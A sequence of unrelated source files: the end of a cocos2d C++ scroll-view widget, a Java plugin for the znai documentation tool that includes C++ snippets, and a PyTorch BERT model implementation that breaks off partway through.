startAutoScrollChildrenWithDestination(cocos2d::Point(m_tSize.width - m_pInnerContainer->getSize().width, m_tSize.height - m_pInnerContainer->getSize().height), time, attenuated);
}
void UIScrollView::scrollToBottomLeft(float time, bool attenuated)
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
startAutoScrollChildrenWithDestination(cocos2d::Point::ZERO, time, attenuated);
}
void UIScrollView::scrollToBottomRight(float time, bool attenuated)
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
startAutoScrollChildrenWithDestination(cocos2d::Point(m_tSize.width - m_pInnerContainer->getSize().width, 0.0f), time, attenuated);
}
void UIScrollView::scrollToPercentVertical(float percent, float time, bool attenuated)
{
float minY = m_tSize.height - m_pInnerContainer->getSize().height;
float h = - minY;
startAutoScrollChildrenWithDestination(cocos2d::Point(m_pInnerContainer->getPosition().x, minY + percent * h / 100.0f), time, attenuated);
}
void UIScrollView::scrollToPercentHorizontal(float percent, float time, bool attenuated)
{
float w = m_pInnerContainer->getSize().width - m_tSize.width;
startAutoScrollChildrenWithDestination(cocos2d::Point(-(percent * w / 100.0f), m_pInnerContainer->getPosition().y), time, attenuated);
}
void UIScrollView::scrollToPercentBothDirection(const cocos2d::Point& percent, float time, bool attenuated)
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
return;
}
float minY = m_tSize.height - m_pInnerContainer->getSize().height;
float h = - minY;
float w = m_pInnerContainer->getSize().width - m_tSize.width;
startAutoScrollChildrenWithDestination(cocos2d::Point(-(percent.x * w / 100.0f), minY + percent.y * h / 100.0f), time, attenuated);
}
void UIScrollView::jumpToBottom()
{
jumpToDestination(cocos2d::Point(m_pInnerContainer->getPosition().x, 0.0f));
}
void UIScrollView::jumpToTop()
{
jumpToDestination(cocos2d::Point(m_pInnerContainer->getPosition().x, m_tSize.height - m_pInnerContainer->getSize().height));
}
void UIScrollView::jumpToLeft()
{
jumpToDestination(cocos2d::Point(0.0f, m_pInnerContainer->getPosition().y));
}
void UIScrollView::jumpToRight()
{
jumpToDestination(cocos2d::Point(m_tSize.width - m_pInnerContainer->getSize().width, m_pInnerContainer->getPosition().y));
}
void UIScrollView::jumpToTopLeft()
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
jumpToDestination(cocos2d::Point(0.0f, m_tSize.height - m_pInnerContainer->getSize().height));
}
void UIScrollView::jumpToTopRight()
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
jumpToDestination(cocos2d::Point(m_tSize.width - m_pInnerContainer->getSize().width, m_tSize.height - m_pInnerContainer->getSize().height));
}
void UIScrollView::jumpToBottomLeft()
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
jumpToDestination(cocos2d::Point::ZERO);
}
void UIScrollView::jumpToBottomRight()
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
CCLOG("Scroll diretion is not both!");
return;
}
jumpToDestination(cocos2d::Point(m_tSize.width - m_pInnerContainer->getSize().width, 0.0f));
}
void UIScrollView::jumpToPercentVertical(float percent)
{
float minY = m_tSize.height - m_pInnerContainer->getSize().height;
float h = - minY;
jumpToDestination(cocos2d::Point(m_pInnerContainer->getPosition().x, minY + percent * h / 100.0f));
}
void UIScrollView::jumpToPercentHorizontal(float percent)
{
float w = m_pInnerContainer->getSize().width - m_tSize.width;
jumpToDestination(cocos2d::Point(-(percent * w / 100.0f), m_pInnerContainer->getPosition().y));
}
void UIScrollView::jumpToPercentBothDirection(const cocos2d::Point& percent)
{
if (m_eDirection != SCROLLVIEW_DIR_BOTH)
{
return;
}
float minY = m_tSize.height - m_pInnerContainer->getSize().height;
float h = - minY;
float w = m_pInnerContainer->getSize().width - m_tSize.width;
jumpToDestination(cocos2d::Point(-(percent.x * w / 100.0f), minY + percent.y * h / 100.0f));
}
void UIScrollView::startRecordSlidAction()
{
if (m_bAutoScroll)
{
stopAutoScrollChildren();
}
if (m_bBouncing)
{
stopBounceChildren();
}
m_fSlidTime = 0.0f;
}
void UIScrollView::endRecordSlidAction()
{
if (!checkNeedBounce() && m_bInertiaScrollEnabled)
{
if (m_fSlidTime <= 0.016f)
{
return;
}
float totalDis = 0.0f;
cocos2d::Point dir;
switch (m_eDirection)
{
case SCROLLVIEW_DIR_VERTICAL:
totalDis = m_tTouchEndedPoint.y - m_tTouchBeganPoint.y;
if (totalDis < 0.0f)
{
dir = SCROLLDIR_DOWN;
}
else
{
dir = SCROLLDIR_UP;
}
break;
case SCROLLVIEW_DIR_HORIZONTAL:
totalDis = m_tTouchEndedPoint.x - m_tTouchBeganPoint.x;
if (totalDis < 0.0f)
{
dir = SCROLLDIR_LEFT;
}
else
{
dir = SCROLLDIR_RIGHT;
}
break;
case SCROLLVIEW_DIR_BOTH:
{
cocos2d::Point subVector = m_tTouchEndedPoint - m_tTouchBeganPoint;
totalDis = subVector.getLength();
dir = subVector.normalize();
break;
}
default:
break;
}
float orSpeed = KD_MIN(kdFabsf(totalDis)/(m_fSlidTime), AUTOSCROLLMAXSPEED);
startAutoScrollChildrenWithOriginalSpeed(dir, orSpeed, true, -1000);
m_fSlidTime = 0.0f;
}
}
void UIScrollView::handlePressLogic(const cocos2d::Point &touchPoint)
{
m_tTouchBeganPoint = m_pRenderer->convertToNodeSpace(touchPoint);
m_tTouchMovingPoint = m_tTouchBeganPoint;
startRecordSlidAction();
m_bBePressed = true;
}
void UIScrollView::handleMoveLogic(const cocos2d::Point &touchPoint)
{
m_tTouchMovedPoint = m_pRenderer->convertToNodeSpace(touchPoint);
cocos2d::Point delta = m_tTouchMovedPoint - m_tTouchMovingPoint;
m_tTouchMovingPoint = m_tTouchMovedPoint;
switch (m_eDirection)
{
case SCROLLVIEW_DIR_VERTICAL: // vertical
{
scrollChildren(0.0f, delta.y);
break;
}
case SCROLLVIEW_DIR_HORIZONTAL: // horizontal
{
scrollChildren(delta.x, 0.0f);
break;
}
case SCROLLVIEW_DIR_BOTH: // both
{
scrollChildren(delta.x, delta.y);
break;
}
default:
break;
}
}
void UIScrollView::handleReleaseLogic(const cocos2d::Point &touchPoint)
{
m_tTouchEndedPoint = m_pRenderer->convertToNodeSpace(touchPoint);
endRecordSlidAction();
m_bBePressed = false;
}
bool UIScrollView::onTouchBegan(const cocos2d::Point &touchPoint)
{
bool pass = UILayout::onTouchBegan(touchPoint);
handlePressLogic(touchPoint);
return pass;
}
void UIScrollView::onTouchMoved(const cocos2d::Point &touchPoint)
{
UILayout::onTouchMoved(touchPoint);
handleMoveLogic(touchPoint);
}
void UIScrollView::onTouchEnded(const cocos2d::Point &touchPoint)
{
UILayout::onTouchEnded(touchPoint);
handleReleaseLogic(touchPoint);
}
void UIScrollView::onTouchCancelled(const cocos2d::Point &touchPoint)
{
UILayout::onTouchCancelled(touchPoint);
handleReleaseLogic(touchPoint);
}
void UIScrollView::onTouchLongClicked(const cocos2d::Point &touchPoint)
{
}
void UIScrollView::update(float dt)
{
if (m_bAutoScroll)
{
autoScrollChildren(dt);
}
if (m_bBouncing)
{
bounceChildren(dt);
}
recordSlidTime(dt);
}
void UIScrollView::recordSlidTime(float dt)
{
if (m_bBePressed)
{
m_fSlidTime += dt;
}
}
void UIScrollView::interceptTouchEvent(int handleState, UIWidget *sender, const cocos2d::Point &touchPoint)
{
switch (handleState)
{
case 0:
handlePressLogic(touchPoint);
break;
case 1:
{
float offset = (sender->getTouchStartPos() - touchPoint).getLength();
if (offset > m_fChildFocusCancelOffset)
{
sender->setFocused(false);
handleMoveLogic(touchPoint);
}
}
break;
case 2:
handleReleaseLogic(touchPoint);
break;
case 3:
handleReleaseLogic(touchPoint);
break;
}
}
void UIScrollView::checkChildInfo(int handleState,UIWidget* sender,const cocos2d::Point &touchPoint)
{
interceptTouchEvent(handleState, sender, touchPoint);
}
void UIScrollView::scrollToTopEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_SCROLL_TO_TOP);
}
}
void UIScrollView::scrollToBottomEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_SCROLL_TO_BOTTOM);
}
}
void UIScrollView::scrollToLeftEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_SCROLL_TO_LEFT);
}
}
void UIScrollView::scrollToRightEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_SCROLL_TO_RIGHT);
}
}
void UIScrollView::scrollingEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_SCROLLING);
}
}
void UIScrollView::bounceTopEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_BOUNCE_TOP);
}
}
void UIScrollView::bounceBottomEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_BOUNCE_BOTTOM);
}
}
void UIScrollView::bounceLeftEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_BOUNCE_LEFT);
}
}
void UIScrollView::bounceRightEvent()
{
if (m_pScrollViewEventListener && m_pScrollViewEventSelector)
{
(m_pScrollViewEventListener->*m_pScrollViewEventSelector)(this, SCROLLVIEW_EVENT_BOUNCE_RIGHT);
}
}
void UIScrollView::addEventListenerScrollView(cocos2d::Object *target, SEL_ScrollViewEvent selector)
{
m_pScrollViewEventListener = target;
m_pScrollViewEventSelector = selector;
}
void UIScrollView::setDirection(SCROLLVIEW_DIR dir)
{
m_eDirection = dir;
}
SCROLLVIEW_DIR UIScrollView::getDirection()
{
return m_eDirection;
}
void UIScrollView::setBounceEnabled(bool enabled)
{
m_bBounceEnabled = enabled;
}
bool UIScrollView::isBounceEnabled() const
{
return m_bBounceEnabled;
}
void UIScrollView::setInertiaScrollEnabled(bool enabled)
{
m_bInertiaScrollEnabled = enabled;
}
bool UIScrollView::isInertiaScrollEnabled() const
{
return m_bInertiaScrollEnabled;
}
UILayout* UIScrollView::getInnerContainer()
{
return m_pInnerContainer;
}
void UIScrollView::setLayoutType(LayoutType type)
{
m_pInnerContainer->setLayoutType(type);
}
LayoutType UIScrollView::getLayoutType() const
{
return m_pInnerContainer->getLayoutType();
}
void UIScrollView::doLayout()
{
m_pInnerContainer->doLayout();
}
const char* UIScrollView::getDescription() const
{
return "ScrollView";
}
UIWidget* UIScrollView::createCloneInstance()
{
return UIScrollView::create();
}
void UIScrollView::copyClonedWidgetChildren(UIWidget* model)
{
UILayout::copyClonedWidgetChildren(model);
}
void UIScrollView::copySpecialProperties(UIWidget *widget)
{
UIScrollView* scrollView = dynamic_cast<UIScrollView*>(widget);
if (scrollView)
{
UILayout::copySpecialProperties(widget);
setInnerContainerSize(scrollView->getInnerContainerSize());
setDirection(scrollView->m_eDirection);
setBounceEnabled(scrollView->m_bBounceEnabled);
setInertiaScrollEnabled(scrollView->m_bInertiaScrollEnabled);
}
}
} |
vladimiratwork/znai | znai-cpp/src/main/java/org/testingisdocumenting/znai/cpp/extensions/CppIncludePlugin.java | <gh_stars>10-100
/*
* Copyright 2019 TWO SIGMA OPEN SOURCE, LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.testingisdocumenting.znai.cpp.extensions;
import org.testingisdocumenting.znai.codesnippets.CodeSnippetsProps;
import org.testingisdocumenting.znai.codesnippets.CodeTokenizer;
import org.testingisdocumenting.znai.core.AuxiliaryFile;
import org.testingisdocumenting.znai.core.ComponentsRegistry;
import org.testingisdocumenting.znai.cpp.parser.CodePart;
import org.testingisdocumenting.znai.cpp.parser.CppSourceCode;
import org.testingisdocumenting.znai.extensions.PluginParams;
import org.testingisdocumenting.znai.extensions.PluginParamsOpts;
import org.testingisdocumenting.znai.extensions.PluginResult;
import org.testingisdocumenting.znai.extensions.include.IncludePlugin;
import org.testingisdocumenting.znai.parser.MarkupParser;
import org.testingisdocumenting.znai.parser.MarkupParserResult;
import org.testingisdocumenting.znai.parser.ParserHandler;
import org.testingisdocumenting.znai.parser.docelement.DocElement;
import org.testingisdocumenting.znai.parser.docelement.DocElementType;
import java.nio.file.Path;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.stream.Stream;
public class CppIncludePlugin implements IncludePlugin {
private MarkupParser markupParser;
private Path cppPath;
private String fileName;
@Override
public String id() {
return "cpp";
}
@Override
public IncludePlugin create() {
return new CppIncludePlugin();
}
@Override
public PluginResult process(ComponentsRegistry componentsRegistry,
ParserHandler parserHandler,
Path markupPath,
PluginParams pluginParams) {
markupParser = componentsRegistry.defaultParser();
fileName = pluginParams.getFreeParam();
cppPath = componentsRegistry.resourceResolver().fullPath(this.fileName);
PluginParamsOpts opts = pluginParams.getOpts();
String commentsType = opts.has("comments") ? opts.get("comments") : "";
String text = componentsRegistry.resourceResolver().textContent(fileName);
String snippet = extractSnippet(text, opts);
List<CodePart> codeParts = commentsType.equals("inline") ?
CppSourceCode.splitOnComments(snippet):
Collections.singletonList(new CodePart(false, snippet));
return PluginResult.docElements(codeParts.stream().flatMap(this::convertToDocElement));
}
private Stream<DocElement> convertToDocElement(CodePart codePart) {
return codePart.isComment() ?
parseComments(codePart.getData()) :
createSnippet(codePart.getData());
}
@Override
public Stream<AuxiliaryFile> auxiliaryFiles(ComponentsRegistry componentsRegistry) {
return Stream.of(AuxiliaryFile.builtTime(cppPath));
}
private Stream<DocElement> parseComments(String data) {
MarkupParserResult parserResult = markupParser.parse(cppPath, data);
return parserResult.getDocElement().getContent().stream();
}
private Stream<DocElement> createSnippet(String snippet) {
DocElement docElement = new DocElement(DocElementType.SNIPPET);
Map<String, Object> props = CodeSnippetsProps.create("cpp", snippet);
props.forEach(docElement::addProp);
return Stream.of(docElement);
}
private String extractSnippet(String text, PluginParamsOpts opts) {
String entry = opts.get("entry");
if (entry == null) {
return text;
}
Boolean bodyOnly = opts.get("bodyOnly");
return bodyOnly != null && bodyOnly ?
CppSourceCode.entryBodyOnly(text, entry):
CppSourceCode.entryDefinition(text, entry);
}
}
|
DerryHub/the-TaobaoLive-Commodity-Identify-Competition | docker/arcface/bert/bert.py | <reponame>DerryHub/the-TaobaoLive-Commodity-Identify-Competition<gh_stars>1-10
import math
import os
import torch
from torch import nn
# from utils import prune_linear_layer
def prune_linear_layer(layer, index, dim=0):
""" Prune a linear layer (a model parameters) to keep only entries in index.
Return the pruned layer as a new layer with requires_grad=True.
Used to remove heads.
"""
index = index.to(layer.weight.device)
W = layer.weight.index_select(dim, index).clone().detach()
if layer.bias is not None:
if dim == 1:
b = layer.bias.clone().detach()
else:
b = layer.bias[index].clone().detach()
new_size = list(layer.weight.size())
new_size[dim] = len(index)
new_layer = nn.Linear(new_size[1], new_size[0], bias=layer.bias is not None).to(layer.weight.device)
new_layer.weight.requires_grad = False
new_layer.weight.copy_(W.contiguous())
new_layer.weight.requires_grad = True
if layer.bias is not None:
new_layer.bias.requires_grad = False
new_layer.bias.copy_(b.contiguous())
new_layer.bias.requires_grad = True
return new_layer
def gelu(x):
""" Original Implementation of the gelu activation function in Google Bert repo when initially created.
For information: OpenAI GPT's gelu is slightly different (and gives slightly different results):
0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))
Also see https://arxiv.org/abs/1606.08415
"""
return x * 0.5 * (1.0 + torch.erf(x / math.sqrt(2.0)))
def gelu_new(x):
""" Implementation of the gelu activation function currently in Google Bert repo (identical to OpenAI GPT).
Also see https://arxiv.org/abs/1606.08415
"""
return 0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))
def swish(x):
return x * torch.sigmoid(x)
def mish(x):
return x * torch.tanh(nn.functional.softplus(x))
ACT2FN = {"gelu": gelu, "relu": torch.nn.functional.relu, "swish": swish, "gelu_new": gelu_new, "mish": mish}
BertLayerNorm = torch.nn.LayerNorm
class BertEmbeddings(nn.Module):
"""Construct the embeddings from word, position and token_type embeddings.
"""
def __init__(self, config):
super().__init__()
self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=0)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
# self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
# any TensorFlow checkpoint file
self.LayerNorm = BertLayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, input_ids):
input_shape = input_ids.size()
seq_length = input_shape[1]
device = input_ids.device if input_ids is not None else inputs_embeds.device
position_ids = torch.arange(seq_length, dtype=torch.long, device=device)
position_ids = position_ids.unsqueeze(0).expand(input_shape)
inputs_embeds = self.word_embeddings(input_ids)
position_embeddings = self.position_embeddings(position_ids)
embeddings = inputs_embeds + position_embeddings
embeddings = self.LayerNorm(embeddings)
embeddings = self.dropout(embeddings)
return embeddings
class BertSelfAttention(nn.Module):
def __init__(self, config):
super().__init__()
if config.hidden_size % config.num_attention_heads != 0:
raise ValueError(
"The hidden size (%d) is not a multiple of the number of attention "
"heads (%d)" % (config.hidden_size, config.num_attention_heads)
)
self.output_attentions = False
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.hidden_size, self.all_head_size)
self.key = nn.Linear(config.hidden_size, self.all_head_size)
self.value = nn.Linear(config.hidden_size, self.all_head_size)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
def transpose_for_scores(self, x):
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(*new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
):
mixed_query_layer = self.query(hidden_states)
# If this is instantiated as a cross-attention module, the keys
# and values come from an encoder; the attention mask needs to be
# such that the encoder's padding tokens are not attended to.
if encoder_hidden_states is not None:
mixed_key_layer = self.key(encoder_hidden_states)
mixed_value_layer = self.value(encoder_hidden_states)
attention_mask = encoder_attention_mask
else:
mixed_key_layer = self.key(hidden_states)
mixed_value_layer = self.value(hidden_states)
query_layer = self.transpose_for_scores(mixed_query_layer)
key_layer = self.transpose_for_scores(mixed_key_layer)
value_layer = self.transpose_for_scores(mixed_value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
attention_scores = attention_scores / math.sqrt(self.attention_head_size)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in BertModel forward() function)
attention_scores = attention_scores + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = nn.Softmax(dim=-1)(attention_scores)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
context_layer = torch.matmul(attention_probs, value_layer)
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
context_layer = context_layer.view(*new_context_layer_shape)
outputs = (context_layer, attention_probs) if self.output_attentions else (context_layer,)
return outputs
class BertSelfOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.LayerNorm = BertLayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, input_tensor):
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class BertAttention(nn.Module):
def __init__(self, config):
super().__init__()
self.self = BertSelfAttention(config)
self.output = BertSelfOutput(config)
self.pruned_heads = set()
def prune_heads(self, heads):
if len(heads) == 0:
return
mask = torch.ones(self.self.num_attention_heads, self.self.attention_head_size)
heads = set(heads) - self.pruned_heads # Convert to set and remove already pruned heads
for head in heads:
# Compute how many pruned heads are before the head and move the index accordingly
head = head - sum(1 if h < head else 0 for h in self.pruned_heads)
mask[head] = 0
mask = mask.view(-1).contiguous().eq(1)
index = torch.arange(len(mask))[mask].long()
# Prune linear layers
self.self.query = prune_linear_layer(self.self.query, index)
self.self.key = prune_linear_layer(self.self.key, index)
self.self.value = prune_linear_layer(self.self.value, index)
self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
# Update hyper params and store pruned heads
self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
self.self.all_head_size = self.self.attention_head_size * self.self.num_attention_heads
self.pruned_heads = self.pruned_heads.union(heads)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
):
self_outputs = self.self(
hidden_states, attention_mask, head_mask, encoder_hidden_states, encoder_attention_mask
)
attention_output = self.output(self_outputs[0], hidden_states)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
class BertIntermediate(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.intermediate_size)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = ACT2FN[config.hidden_act]
else:
self.intermediate_act_fn = config.hidden_act
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
class BertOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.intermediate_size, config.hidden_size)
self.LayerNorm = BertLayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, input_tensor):
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class BertLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.attention = BertAttention(config)
self.is_decoder = False
if self.is_decoder:
self.crossattention = BertAttention(config)
self.intermediate = BertIntermediate(config)
self.output = BertOutput(config)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
):
self_attention_outputs = self.attention(hidden_states, attention_mask, head_mask)
attention_output = self_attention_outputs[0]
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
if self.is_decoder and encoder_hidden_states is not None:
cross_attention_outputs = self.crossattention(
attention_output, attention_mask, head_mask, encoder_hidden_states, encoder_attention_mask
)
attention_output = cross_attention_outputs[0]
outputs = outputs + cross_attention_outputs[1:] # add cross attentions if we output attention weights
intermediate_output = self.intermediate(attention_output)
layer_output = self.output(intermediate_output, attention_output)
outputs = (layer_output,) + outputs
return outputs
class BertEncoder(nn.Module):
def __init__(self, config):
super().__init__()
self.output_attentions = False
self.output_hidden_states = False
self.layer = nn.ModuleList([BertLayer(config) for _ in range(config.num_hidden_layers)])
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
):
all_hidden_states = ()
all_attentions = ()
for i, layer_module in enumerate(self.layer):
if self.output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_outputs = layer_module(
hidden_states, attention_mask, head_mask[i], encoder_hidden_states, encoder_attention_mask
)
hidden_states = layer_outputs[0]
if self.output_attentions:
all_attentions = all_attentions + (layer_outputs[1],)
# Add last layer
if self.output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
outputs = (hidden_states,)
if self.output_hidden_states:
outputs = outputs + (all_hidden_states,)
if self.output_attentions:
outputs = outputs + (all_attentions,)
return outputs # last-layer hidden state, (all hidden states), (all attentions)
class BertPooler(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.output_size)
self.activation = nn.Tanh()
def forward(self, hidden_states):
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
pooled_output = self.dense(first_token_tensor)
pooled_output = self.activation(pooled_output)
return pooled_output
class BertModel(nn.Module):
"""
The model can behave as an encoder (with only self-attention) as well
as a decoder, in which case a layer of cross-attention is added between
the self-attention layers, following the architecture described in `Attention is all you need`_ by <NAME>,
<NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME> and <NAME>.
To behave as an decoder the model needs to be initialized with the
:obj:`is_decoder` argument of the configuration set to :obj:`True`; an
:obj:`encoder_hidden_states` is expected as an input to the forward pass.
.. _`Attention is all you need`:
https://arxiv.org/abs/1706.03762
"""
def __init__(self, config):
super().__init__()
self.config = config
self.embeddings = BertEmbeddings(config)
self.encoder = BertEncoder(config)
self.pooler = BertPooler(config)
self.is_decoder = False
self._init_weights()
def _init_weights(self):
""" Initialize the weights """
for module in self.modules():
if isinstance(module, (nn.Linear, nn.Embedding)):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
elif isinstance(module, BertLayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
if isinstance(module, nn.Linear) and module.bias is not None:
module.bias.data.zero_()
def get_input_embeddings(self):
return self.embeddings.word_embeddings
def set_input_embeddings(self, value):
self.embeddings.word_embeddings = value
def _prune_heads(self, heads_to_prune):
for layer, heads in heads_to_prune.items():
self.encoder.layer[layer].attention.prune_heads(heads)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
):
r"""
Return:
:obj:`tuple(torch.FloatTensor)` comprising various elements depending on the configuration (:class:`~transformers.BertConfig`) and inputs:
last_hidden_state (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the model.
pooler_output (:obj:`torch.FloatTensor`: of shape :obj:`(batch_size, hidden_size)`):
Last layer hidden-state of the first token of the sequence (classification token)
further processed by a Linear layer and a Tanh activation function. The Linear
layer weights are trained from the next sentence prediction (classification)
objective during pre-training.
This output is usually *not* a good summary
of the semantic content of the input, you're often better with averaging or pooling
the sequence of hidden-states for the whole input sequence.
hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_hidden_states=True``):
Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
of shape :obj:`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_attentions=True``):
Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape
:obj:`(batch_size, num_heads, sequence_length, sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
Examples::
from transformers import BertModel, BertTokenizer
import torch
tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
model = BertModel.from_pretrained('bert-base-uncased')
input_ids = torch.tensor(tokenizer.encode("Hello, my dog is cute", add_special_tokens=True)).unsqueeze(0) # Batch size 1
outputs = model(input_ids)
last_hidden_states = outputs[0] # The last hidden-state is the first element of the output tuple
"""
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
device = input_ids.device if input_ids is not None else inputs_embeds.device
if attention_mask is None:
attention_mask = torch.ones(input_shape, device=device)
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
if attention_mask.dim() == 3:
extended_attention_mask = attention_mask[:, None, :, :]
elif attention_mask.dim() == 2:
# Provided a padding mask of dimensions [batch_size, seq_length]
# - if the model is a decoder, apply a causal mask in addition to the padding mask
# - if the model is an encoder, make the mask broadcastable to [batch_size, num_heads, seq_length, seq_length]
if self.is_decoder:
batch_size, seq_length = input_shape
seq_ids = torch.arange(seq_length, device=device)
causal_mask = seq_ids[None, None, :].repeat(batch_size, seq_length, 1) <= seq_ids[None, :, None]
causal_mask = causal_mask.to(
torch.long
) # not converting to long will cause errors with pytorch version < 1.3
extended_attention_mask = causal_mask[:, None, :, :] * attention_mask[:, None, None, :]
else:
extended_attention_mask = attention_mask[:, None, None, :]
else:
raise ValueError(
"Wrong shape for input_ids (shape {}) or attention_mask (shape {})".format(
input_shape, attention_mask.shape
)
)
# Since attention_mask is 1.0 for positions we want to attend and 0.0 for
